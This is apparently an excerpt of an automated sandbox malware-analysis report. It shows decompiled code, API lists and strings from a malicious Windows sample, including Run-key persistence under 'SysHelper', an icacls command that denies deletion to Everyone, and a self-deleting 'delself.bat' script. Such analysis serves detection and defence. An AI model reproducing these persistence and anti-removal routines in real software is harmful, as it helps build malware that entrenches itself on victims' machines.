									lstrcatW( &_v12536, L"\" /deny *S-1-1-0:(OI)(CI)(DE,DC)");
									if(CreateProcessW(0,  &_v12536, 0, 0, 0, 0x48, 0, 0,  &_v248,  &_v156) != 0) {
										do {
										} while (WaitForSingleObject(_v156, 1) == 0x102);
									} else {
										GetLastError();
									}
									goto L45;
								}
								_t234 = 0;
								goto L38;
							}
							if(_v2296 != 0) {
								_t237 =  &_v2296;
								_t68 = _t237 + 2; // 0x2
								_t248 = _t68;
								do {
									_t207 =  *_t237;
									_t237 = _t237 + 2;
								} while (_t207 != 0);
								_t239 = _t237 - _t248 >> 1;
								L32:
								_push(_t239);
								E00415C10(_t221, _t250, _t250, _t257,  &_v2296);
								goto L33;
							}
							_t239 = 0;
							goto L32;
						}
					}
					_t213 = E00413520( &_v60,  &_v140, 1, _t255 - lstrlenA("\" --AutoStart") - 1);
					_t262 = _t213;
					if( &_v60 != _t213) {
						if(_v40 >= 8) {
							L00422587(_v60);
							_t264 = _t264 + 4;
						}
						_v40 = 7;
						_v44 = 0;
						_v60 = 0;
						E004145A0( &_v60, _t262);
					}
					if(_v120 >= 8) {
						L00422587(_v140);
						_t264 = _t264 + 4;
					}
					_t216 =  >=  ? _v60 :  &_v60;
					_t124 = PathFileExistsW( >=  ? _v60 :  &_v60);
					if(_t124 == 0) {
						goto L19;
					} else {
						_t242 = _a4;
						if(_t242 != 0) {
							_t124 =  &_v60;
							if(_t242 != _t124) {
								_push(0xffffffff);
								_t124 = E00414690(_t221, _t242, _t124, 0);
							}
						}
						if(_v40 < 8) {
							goto L50;
						} else {
							_push(_v60);
							goto L49;
						}
					}
				}
				_t225 = 0;
				goto L6;
			}

0x00411cd0
0x00411cd9
0x00411cdb
0x00411ce0
0x00411ce6
0x00411ced
0x00411cf2
0x00411cf7
0x00411d10
0x00411d12
0x00411d1a
0x00412207
0x0041220b
0x00412216
0x00412216
0x00411d26
0x00411d34
0x00411d3b
0x00411d40
0x00411d43
0x00411d63
0x00411d6c
0x00411d74
0x00411d7b
0x00411d82
0x00411d8d
0x00411d93
0x00411d99
0x00411da0
0x00411da0
0x00411da3
0x00411da6
0x00411dad
0x00411daf
0x00411daf
0x00411dba
0x00411dbf
0x00411dc6
0x00411dcb
0x00411e7c
0x00411e7c
0x00411e87
0x00411e8c
0x00411e91
0x00411e91
0x00411ea5
0x00411eab
0x00411ead
0x00411ece
0x00411ee1
0x00411ef3
0x00411efc
0x00411f05
0x00411f14
0x00411f1a
0x00411f1f
0x00411f26
0x00411f2d
0x00411f34
0x00411f3a
0x00411f3c
0x00411f3c
0x00411f40
0x00411f40
0x00411f43
0x00411f46
0x00411f4d
0x00000000
0x00411f36
0x00411f36
0x00411f4f
0x00411f54
0x00411f5c
0x00411f64
0x00411f71
0x00411f77
0x00411f83
0x00411f8e
0x00411f96
0x00411fce
0x00411fd0
0x00411fd7
0x00411fde
0x00411fe9
0x00411fef
0x00411ff5
0x00412000
0x00412000
0x00412003
0x00412006
0x0041200d
0x0041200f
0x0041200f
0x0041201a
0x0041201f
0x0041202d
0x00412036
0x0041204c
0x00412055
0x0041206e
0x00412076
0x004121d1
0x004121d5
0x004121da
0x004121df
0x004121df
0x004121e2
0x004121e4
0x004121ef
0x004121f6
0x004121fa
0x004121fc
0x004121ff
0x004121ff
0x00412204
0x00000000
0x004121fa
0x00412082
0x00412090
0x004120a1
0x004120aa
0x004120c0
0x004120ce
0x004120f3
0x004120fc
0x00412102
0x00412107
0x00412110
0x00412110
0x00412120
0x00412125
0x00412128
0x00412134
0x0041213e
0x00412146
0x00412158
0x00412161
0x0041216d
0x0041217b
0x004121a8
0x004121c0
0x004121ca
0x004121aa
0x004121aa
0x004121aa
0x00000000
0x004121a8
0x00411feb
0x00000000
0x00411feb
0x00411fa0
0x00411fa6
0x00411fac
0x00411fac
0x00411fb0
0x00411fb0
0x00411fb3
0x00411fb6
0x00411fbd
0x00411fbf
0x00411fbf
0x00411fc9
0x00000000
0x00411fc9
0x00411fa2
0x00000000
0x00411fa2
0x00411f34
0x00411dec
0x00411df1
0x00411df8
0x00411dfe
0x00411e03
0x00411e08
0x00411e08
0x00411e0d
0x00411e18
0x00411e1f
0x00411e23
0x00411e23
0x00411e2c
0x00411e34
0x00411e39
0x00411e39
0x00411e43
0x00411e48
0x00411e50
0x00000000
0x00411e52
0x00411e52
0x00411e57
0x00411e59
0x00411e5e
0x00411e60
0x00411e65
0x00411e65
0x00411e5e
0x00411e6e
0x00000000
0x00411e74
0x00411e74
0x00000000
0x00411e74
0x00411e6e
0x00411e50
0x00411d8f
0x00000000

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32 ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32 ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32 ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

icacls ", xrefs: 0041214C
D, xrefs: 00412128
Shell32.dll, xrefs: 00411E94
" --AutoStart, xrefs: 00411DD1
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
SHGetFolderPathW, xrefs: 00411E9F
" --AutoStart, xrefs: 004120C2
SysHelper, xrefs: 00411D5B, 004120EB

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E004124E0() {
				long _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOA _v100;
				char _v364;
				char _v628;
				void _v1668;
				char _v1932;
				char _v2956;
				long _t40;
				signed int _t48;
				void* _t78;
				intOrPtr _t79;
				int _t104;
				long _t106;
				int _t108;
				void* _t110;
				intOrPtr* _t113;
				void* _t115;

				if( *0x513234 == 0) {
					 *0x513230 = CreateMutexA(0, 0, "{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}");
					_t40 = GetLastError();
					_push( *0x513230);
					if(_t40 != 0xb7) {
						CloseHandle();
						 *0x513230 = 0;
						goto L7;
					} else {
						_t104 = CloseHandle();
						 *0x513230 = 0;
						return _t104;
					}
				} else {
					 *0x513238 = CreateMutexA(0, 0, "{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}");
					_t106 = GetLastError();
					_push( *0x513238);
					if(_t106 != 0xb7) {
						CloseHandle();
						 *0x513238 = 0;
						L7:
						if(E00412360() == 0) {
							GetModuleFileNameA(0,  &_v628, 0x104);
							GetShortPathNameA( &_v628,  &_v628, 0x104);
							_t48 = GetEnvironmentVariableA("TEMP",  &_v1932, 0x104);
							asm("sbb eax, eax");
							lstrcpyA( &_v364, _t48 &  &_v1932);
							lstrcatA( &_v364, "\\");
							lstrcatA( &_v364, "delself.bat");
							lstrcpyA( &_v1668, "@echo off\r\n:try\r\ndel \"");
							lstrcatA( &_v1668,  &_v628);
							lstrcatA( &_v1668, "\"\r\nif exist \"");
							lstrcatA( &_v1668,  &_v628);
							lstrcatA( &_v1668, "\" goto try\r\n");
							lstrcatA( &_v1668, "del \"");
							lstrcatA( &_v1668,  &_v364);
							lstrcatA( &_v1668, "\"");
							if(PathFileExistsA( &_v364) != 0) {
								DeleteFileA( &_v364);
							}
							_t78 = CreateFileA( &_v364, 0xc0000000, 3, 0, 2, 0x80, 0);
							_t113 =  &_v1668;
							_t110 = _t78;
							_t115 = _t113 + 1;
							do {
								_t79 =  *_t113;
								_t113 = _t113 + 1;
							} while (_t79 != 0);
							WriteFile(_t110,  &_v1668, _t113 - _t115,  &_v8, 0);
							FlushFileBuffers(_t110);
							CloseHandle(_t110);
							E0042B420( &_v100, 0, 0x44);
							_v100.cb = 0x44;
							_v100.dwFlags = 1;
							_v100.wShowWindow = 0;
							SetLastError(0);
							lstrcpyA( &_v2956, "\"");
							lstrcatA( &_v2956,  &_v364);
							lstrcatA( &_v2956, "\"");
							CreateProcessA(0,  &_v2956, 0, 0, 0, 0, 0, 0,  &_v100,  &_v24);
							CloseHandle(_v24.hThread);
							return CloseHandle(_v24);
						} else {
							return E00412440();
						}
					} else {
						_t108 = CloseHandle();
						 *0x513238 = 0;
						return _t108;
					}
				}
			}

0x004124f3
0x00412556
0x0041255b
0x00412561
0x0041256c
0x0041258b
0x0041258d
0x00000000
0x0041256e
0x0041256e
0x00412574
0x00412584
0x00412584
0x004124f5
0x00412504
0x00412509
0x0041250f
0x0041251a
0x00412539
0x0041253b
0x00412597
0x0041259e
0x004125ba
0x004125cd
0x004125e4
0x004125fa
0x00412606
0x0041261a
0x00412628
0x00412636
0x00412646
0x00412654
0x00412664
0x00412672
0x00412680
0x00412690
0x0041269e
0x004126af
0x004126b8
0x004126b8
0x004126d7
0x004126dd
0x004126e3
0x004126e5
0x004126e8
0x004126e8
0x004126ea
0x004126eb
0x00412700
0x00412707
0x0041270e
0x00412718
0x00412720
0x00412729
0x00412730
0x00412735
0x00412747
0x0041275b
0x00412769
0x00412788
0x00412791
0x0041279e
0x004125a0
0x004125ab
0x004125ab
0x0041251c
0x0041251c
0x00412522
0x00412532
0x00412532
0x0041251a

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
"if exist ", xrefs: 00412648
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
@echo off:trydel ", xrefs: 0041262A
D, xrefs: 00412720
del ", xrefs: 00412674
" goto try, xrefs: 00412666
delself.bat, xrefs: 0041261C
TEMP, xrefs: 004125DF

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 56%

			E004635B0(void* __ebx, intOrPtr* __edx, void* __ebp, char _a4, char _a8, intOrPtr _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr* _a24, intOrPtr* _a28, char _a32, char _a36, char _a132, char _a137, char _a141, char _a143, char _a386, signed int _a388, intOrPtr _a396, intOrPtr* _a400, intOrPtr* _a404, intOrPtr* _a408, intOrPtr* _a412) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				void* __edi;
				void* __esi;
				signed int _t125;
				void* _t141;
				void* _t146;
				void* _t151;
				void* _t157;
				intOrPtr _t159;
				void* _t162;
				intOrPtr _t164;
				intOrPtr _t168;
				intOrPtr _t169;
				intOrPtr _t173;
				intOrPtr _t176;
				intOrPtr _t178;
				intOrPtr _t180;
				intOrPtr _t183;
				char _t186;
				intOrPtr _t188;
				intOrPtr _t193;
				intOrPtr _t206;
				intOrPtr _t210;
				intOrPtr _t218;
				void* _t219;
				intOrPtr _t222;
				intOrPtr _t224;
				char _t236;
				void* _t237;
				void* _t240;
				void* _t241;
				intOrPtr _t244;
				intOrPtr _t251;
				void* _t252;
				intOrPtr _t253;
				intOrPtr _t257;
				void* _t258;
				intOrPtr* _t261;
				intOrPtr _t262;
				intOrPtr _t263;
				intOrPtr _t264;
				intOrPtr* _t265;
				void* _t266;
				intOrPtr _t267;
				intOrPtr _t269;
				signed int _t271;
				signed int _t272;
				void* _t274;
				void* _t275;
				void* _t279;
				void* _t280;
				void* _t284;

				_t247 = __edx;
				E0042F7C0(0x188);
				_t125 =  *0x50ad20; // 0xd964a3b
				_a388 = _t125 ^ _t271;
				_push(__ebx);
				_a16 = _a400;
				_push(__ebp);
				_a28 = _a404;
				_t251 = _a396;
				_a20 = _a408;
				_a12 = _t251;
				_a24 = _a412;
				_a4 = 0;
				_t236 = E0045AF30(__ebx, __edx, _t251);
				_a8 = _t236;
				_t257 = E0045AF30(_t236, __edx, _t251);
				_v0 = _t257;
				_t269 = E0045AF30(_t236, __edx, _t251);
				if(_t236 == 0 || _t257 == 0 || _t269 == 0) {
					E0045AD10(_t236);
					E0045AD10(_t257);
					E0045AD10(_t269);
					E004512D0(_t236, _t247, _t251, _t269, __eflags, 9, 0x6d, 0x41, ".\\crypto\\pem\\pem_lib.c", 0x2b4);
					_t272 = _t271 + 0x20;
					goto L72;
				} else {
					_a386 = 0;
					_t141 = E0044F780(_t251, _t269, _t251,  &_a132, 0xfe);
					_t274 = _t271 + 0xc;
					_t284 = _t141;
					if(_t284 <= 0) {
						L14:
						_push(0x2bf);
						_push(".\\crypto\\pem\\pem_lib.c");
						_push(0x6c);
						goto L15;
					} else {
						do {
							if(_t284 >= 0) {
								while( *((char*)(_t274 + _t141 + 0x94)) <= 0x20) {
									_t141 = _t141 - 1;
									if(_t141 >= 0) {
										continue;
									}
									goto L8;
								}
							}
							L8:
							 *((char*)(_t274 + _t141 + 0x95)) = 0xa;
							_t146 = _t141 + 2;
							if(_t146 >= 0x100) {
								L74:
								E0042AC83();
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t251);
								_t253 = E0044F960(_t236, _t247, E004656B0());
								__eflags = _t253;
								if(__eflags != 0) {
									_push(_t257);
									E0044F3E0(_t253, _t269, _t253, 0x6a, 0, _v12);
									_push(_a4);
									_push(_v0);
									_push(_v4);
									_push(_v8);
									_push(_t253);
									_t151 = E00463C30(_t247, _t269);
									E0044F5E0(_t253);
									return _t151;
								} else {
									E004512D0(_t236, _t247, _t253, _t269, __eflags, 9, 0x71, 7, ".\\crypto\\pem\\pem_lib.c", 0x248);
									__eflags = 0;
									return 0;
								}
							} else {
								 *((char*)(_t274 + _t146 + 0x98)) = 0;
								_t157 = E00448190( &_a132, "-----BEGIN ", 0xb);
								_t279 = _t274 + 0xc;
								if(_t157 != 0) {
									goto L13;
								} else {
									_t261 =  &_a143;
									_t240 = _t261 + 1;
									do {
										_t159 =  *_t261;
										_t261 = _t261 + 1;
									} while (_t159 != 0);
									_t257 = _t261 - _t240;
									_t162 = E00448190( &_a137 + _t257, "-----\n", 6);
									_t279 = _t279 + 0xc;
									if(_t162 == 0) {
										_t164 = E0045AD50(_t236, _t247, _t269, _t236, _t257 + 9);
										_t274 = _t279 + 8;
										__eflags = _t164;
										if(__eflags != 0) {
											E0042D8D0( *((intOrPtr*)(_t236 + 4)),  &_a143, _t257 - 6);
											_t168 =  *((intOrPtr*)(_t236 + 4));
											_t236 = 0;
											 *((char*)(_t168 + _t257 - 6)) = 0;
											_t262 = _v0;
											_t169 = E0045AD50(0, _t247, _t269, _t262, 0x100);
											_t274 = _t274 + 0x14;
											__eflags = _t169;
											if(__eflags != 0) {
												 *((char*)( *((intOrPtr*)(_t262 + 4)))) = 0;
												_t263 = E0044F780(_t251, _t269, _t251,  &_a132, 0xfe);
												_t274 = _t274 + 0xc;
												__eflags = _t263;
												if(__eflags <= 0) {
													L32:
													_t264 = 0;
													__eflags = 0;
													goto L33;
												} else {
													do {
														if(__eflags >= 0) {
															while(1) {
																__eflags =  *((char*)(_t274 + _t263 + 0x94)) - 0x20;
																if( *((char*)(_t274 + _t263 + 0x94)) > 0x20) {
																	goto L27;
																}
																_t263 = _t263 - 1;
																__eflags = _t263;
																if(_t263 >= 0) {
																	continue;
																}
																goto L27;
															}
														}
														L27:
														 *((char*)(_t274 + _t263 + 0x95)) = 0xa;
														_t257 = _t263 + 2;
														__eflags = _t257 - 0x100;
														if(_t257 >= 0x100) {
															goto L74;
														} else {
															 *((char*)(_t274 + _t257 + 0x94)) = 0;
															__eflags = _a132 - 0xa;
															if(_a132 == 0xa) {
																goto L32;
															} else {
																_t251 = _t257 + _t236;
																_t222 = E0045AD50(_t236, _t247, _t269, _v0, _t251 + 9);
																_t274 = _t274 + 8;
																__eflags = _t222;
																if(__eflags == 0) {
																	_push(0x2e4);
																	goto L22;
																} else {
																	_t224 = E00448190( &_a132, "-----END ", 9);
																	_t274 = _t274 + 0xc;
																	__eflags = _t224;
																	if(_t224 == 0) {
																		_t251 = _a12;
																		_t264 = 1;
																		L33:
																		_a4 = 0;
																		_t173 = E0045AD50(_t236, _t247, _t269, _t269, 0x400);
																		_t274 = _t274 + 8;
																		__eflags = _t173;
																		if(__eflags != 0) {
																			 *_a4 = 0;
																			__eflags = _t264;
																			if(_t264 != 0) {
																				_t251 = _t269;
																				_v0 = _t251;
																				_t269 = _v0;
																				_a4 = _t236;
																				goto L51;
																			} else {
																				_t267 = E0044F780(_t251, _t269, _t251,  &_a132, 0xfe);
																				_t274 = _t274 + 0xc;
																				__eflags = _t267;
																				if(_t267 <= 0) {
																					L50:
																					_t251 = _v0;
																					L51:
																					_t236 = _a8;
																					_t265 =  *((intOrPtr*)(_t236 + 4));
																					_t83 = _t265 + 1; // 0x9
																					_t241 = _t83;
																					do {
																						_t176 =  *_t265;
																						_t265 = _t265 + 1;
																						__eflags = _t176;
																					} while (_t176 != 0);
																					_t266 = _t265 - _t241;
																					_t178 = E00448190( &_a132, "-----END ", 9);
																					_t274 = _t274 + 0xc;
																					__eflags = _t178;
																					if(__eflags != 0) {
																						L70:
																						_push(0x322);
																						_push(".\\crypto\\pem\\pem_lib.c");
																						_push(0x66);
																						goto L15;
																					} else {
																						_t180 = E00448190( *((intOrPtr*)(_t236 + 4)),  &_a141, _t266);
																						_t274 = _t274 + 0xc;
																						__eflags = _t180;
																						if(__eflags != 0) {
																							goto L70;
																						} else {
																							_t183 = E00448190( &_a141 + _t266, "-----\n", 6);
																							_t274 = _t274 + 0xc;
																							__eflags = _t183;
																							if(__eflags != 0) {
																								goto L70;
																							} else {
																								E0047E5B0( &_a36);
																								_push(_a4);
																								_t186 = _a4;
																								_push(_t186);
																								_push( &_a4);
																								_push(_t186);
																								_push( &_a36);
																								_t188 = E0047E5D0();
																								_t274 = _t274 + 0x18;
																								__eflags = _t188;
																								if(__eflags >= 0) {
																									_t193 = E0047E560( &_a36, _a4 + _a4,  &_a32);
																									_t275 = _t274 + 0xc;
																									__eflags = _t193;
																									if(__eflags >= 0) {
																										_t244 = _a4 + _a32;
																										__eflags = _t244;
																										_a4 = _t244;
																										if(_t244 == 0) {
																											goto L17;
																										} else {
																											 *_a16 =  *((intOrPtr*)(_t236 + 4));
																											 *_a28 =  *((intOrPtr*)(_t251 + 4));
																											_t247 = _a20;
																											 *_a20 = _a4;
																											 *_a24 = _t244;
																											E00454C70(_t236);
																											E00454C70(_t251);
																											E00454C70(_t269);
																											_t272 = _t275 + 0xc;
																										}
																									} else {
																										_push(0x332);
																										_push(".\\crypto\\pem\\pem_lib.c");
																										_push(0x64);
																										goto L15;
																									}
																								} else {
																									_push(0x32c);
																									_push(".\\crypto\\pem\\pem_lib.c");
																									_push(0x64);
																									goto L15;
																								}
																							}
																						}
																					}
																					goto L73;
																				} else {
																					_t236 = 0;
																					__eflags = _t267;
																					do {
																						if(__eflags >= 0) {
																							while(1) {
																								__eflags =  *((char*)(_t274 + _t267 + 0x94)) - 0x20;
																								if( *((char*)(_t274 + _t267 + 0x94)) > 0x20) {
																									goto L44;
																								}
																								_t267 = _t267 - 1;
																								__eflags = _t267;
																								if(_t267 >= 0) {
																									continue;
																								}
																								goto L44;
																							}
																						}
																						L44:
																						 *((char*)(_t274 + _t267 + 0x95)) = 0xa;
																						_t257 = _t267 + 2;
																						__eflags = _t257 - 0x100;
																						if(_t257 >= 0x100) {
																							goto L74;
																						} else {
																							__eflags = _t257 - 0x41;
																							 *((char*)(_t274 + _t257 + 0x94)) = 0;
																							_t236 =  !=  ? 1 : _t236;
																							_t206 = E00448190( &_a132, "-----END ", 9);
																							_t274 = _t274 + 0xc;
																							__eflags = _t206;
																							if(_t206 == 0) {
																								goto L50;
																							} else {
																								__eflags = _t257 - 0x41;
																								if(_t257 > 0x41) {
																									goto L50;
																								} else {
																									_t210 = E0045AE30(_t236, _t247, _t269, _t269, _a4 + 9 + _t257);
																									_t274 = _t274 + 8;
																									__eflags = _t210;
																									if(__eflags == 0) {
																										_push(0x303);
																										goto L22;
																									} else {
																										E0042D8D0(_a4 + _a4,  &_a132, _t257);
																										_t280 = _t274 + 0xc;
																										_push(0xfe);
																										 *((char*)(_a4 + _t257 + _a4)) = 0;
																										_a4 = _a4 + _t257;
																										_push( &_a132);
																										_push(_t251);
																										__eflags = _t236;
																										if(_t236 != 0) {
																											_a132 = 0;
																											_t218 = E0044F780(_t251, _t269);
																											_t274 = _t280 + 0xc;
																											__eflags = _t218;
																											if(_t218 <= 0) {
																												goto L50;
																											} else {
																												while(1) {
																													__eflags =  *((char*)(_t274 + _t218 + 0x94)) - 0x20;
																													if( *((char*)(_t274 + _t218 + 0x94)) > 0x20) {
																														break;
																													}
																													_t218 = _t218 - 1;
																													__eflags = _t218;
																													if(_t218 >= 0) {
																														continue;
																													}
																													break;
																												}
																												 *((char*)(_t274 + _t218 + 0x95)) = 0xa;
																												_t219 = _t218 + 2;
																												__eflags = _t219 - 0x100;
																												if(_t219 >= 0x100) {
																													goto L74;
																												} else {
																													 *((char*)(_t274 + _t219 + 0x94)) = 0;
																													goto L50;
																												}
																											}
																										} else {
																											goto L49;
																										}
																									}
																								}
																							}
																						}
																						goto L77;
																						L49:
																						_t267 = E0044F780(_t251, _t269);
																						_t274 = _t280 + 0xc;
																						__eflags = _t267;
																					} while (__eflags > 0);
																					goto L50;
																				}
																			}
																		} else {
																			_push(0x2f1);
																			goto L22;
																		}
																	} else {
																		goto L31;
																	}
																}
															}
														}
														goto L77;
														L31:
														E0042D8D0( *((intOrPtr*)(_v0 + 4)) + _t236,  &_a132, _t257);
														 *((char*)( *((intOrPtr*)(_v0 + 4)) + _t257 + _t236)) = 0;
														_t236 = _t251;
														_t251 = _a12;
														_t263 = E0044F780(_t251, _t269, _t251,  &_a132, 0xfe);
														_t274 = _t274 + 0x18;
														__eflags = _t263;
													} while (__eflags > 0);
													goto L32;
												}
											} else {
												_push(0x2d8);
												L22:
												_push(".\\crypto\\pem\\pem_lib.c");
												_push(0x41);
												_push(0x6d);
												_push(9);
												E004512D0(_t236, _t247, _t251, _t269, __eflags);
												_t236 = _a8;
												goto L16;
											}
										} else {
											_push(0x2ce);
											_push(".\\crypto\\pem\\pem_lib.c");
											_push(0x41);
											L15:
											_push(0x6d);
											_push(9);
											E004512D0(_t236, _t247, _t251, _t269, _t291);
											L16:
											_t275 = _t274 + 0x14;
											L17:
											E0045AD10(_t236);
											E0045AD10(_v0);
											E0045AD10(_t269);
											_t272 = _t275 + 0xc;
											L72:
											L73:
											_pop(_t252);
											_pop(_t258);
											_pop(_t237);
											return E0042A77E(_t237, _a388 ^ _t272, _t247, _t252, _t258);
										}
									} else {
										goto L13;
									}
								}
							}
							goto L77;
							L13:
							_t141 = E0044F780(_t251, _t269, _t251,  &_a132, 0xfe);
							_t274 = _t279 + 0xc;
							_t291 = _t141;
						} while (_t141 > 0);
						goto L14;
					}
				}
				L77:
			}

0x004635b0
0x004635b5
0x004635ba
0x004635c1
0x004635cf
0x004635d0
0x004635db
0x004635dc
0x004635e9
0x004635f0
0x004635fb
0x004635ff
0x00463603
0x00463610
0x00463612
0x0046361b
0x0046361d
0x00463626
0x0046362a
0x00463b6f
0x00463b75
0x00463b7b
0x00463b90
0x00463b95
0x00000000
0x00463640
0x0046364c
0x00463656
0x0046365b
0x0046365e
0x00463660
0x00463704
0x00463704
0x00463709
0x0046370e
0x00000000
0x00463666
0x00463666
0x00463666
0x00463670
0x0046367a
0x0046367b
0x00000000
0x00000000
0x00000000
0x0046367b
0x00463670
0x0046367d
0x0046367d
0x00463685
0x0046368d
0x00463bb3
0x00463bb3
0x00463bb8
0x00463bb9
0x00463bba
0x00463bbb
0x00463bbc
0x00463bbd
0x00463bbe
0x00463bbf
0x00463bc0
0x00463bcc
0x00463bd1
0x00463bd3
0x00463bf1
0x00463bfb
0x00463c00
0x00463c04
0x00463c08
0x00463c0c
0x00463c10
0x00463c11
0x00463c19
0x00463c25
0x00463bd5
0x00463be5
0x00463bed
0x00463bf0
0x00463bf0
0x00463693
0x00463695
0x004636aa
0x004636af
0x004636b4
0x00000000
0x004636b6
0x004636b6
0x004636bd
0x004636c0
0x004636c0
0x004636c2
0x004636c3
0x004636c7
0x004636da
0x004636df
0x004636e4
0x0046373e
0x00463743
0x00463746
0x00463748
0x00463767
0x0046376c
0x0046376f
0x00463776
0x0046377b
0x00463780
0x00463785
0x00463788
0x0046378a
0x004637b2
0x004637c2
0x004637c4
0x004637c7
0x004637c9
0x0046388c
0x0046388c
0x0046388c
0x00000000
0x004637cf
0x004637cf
0x004637cf
0x004637d1
0x004637d1
0x004637d9
0x00000000
0x00000000
0x004637db
0x004637db
0x004637dc
0x00000000
0x00000000
0x00000000
0x004637dc
0x004637d1
0x004637de
0x004637de
0x004637e6
0x004637e9
0x004637ef
0x00000000
0x004637f5
0x004637f5
0x004637fd
0x00463805
0x00000000
0x0046380b
0x0046380b
0x00463816
0x0046381b
0x0046381e
0x00463820
0x004638bd
0x00000000
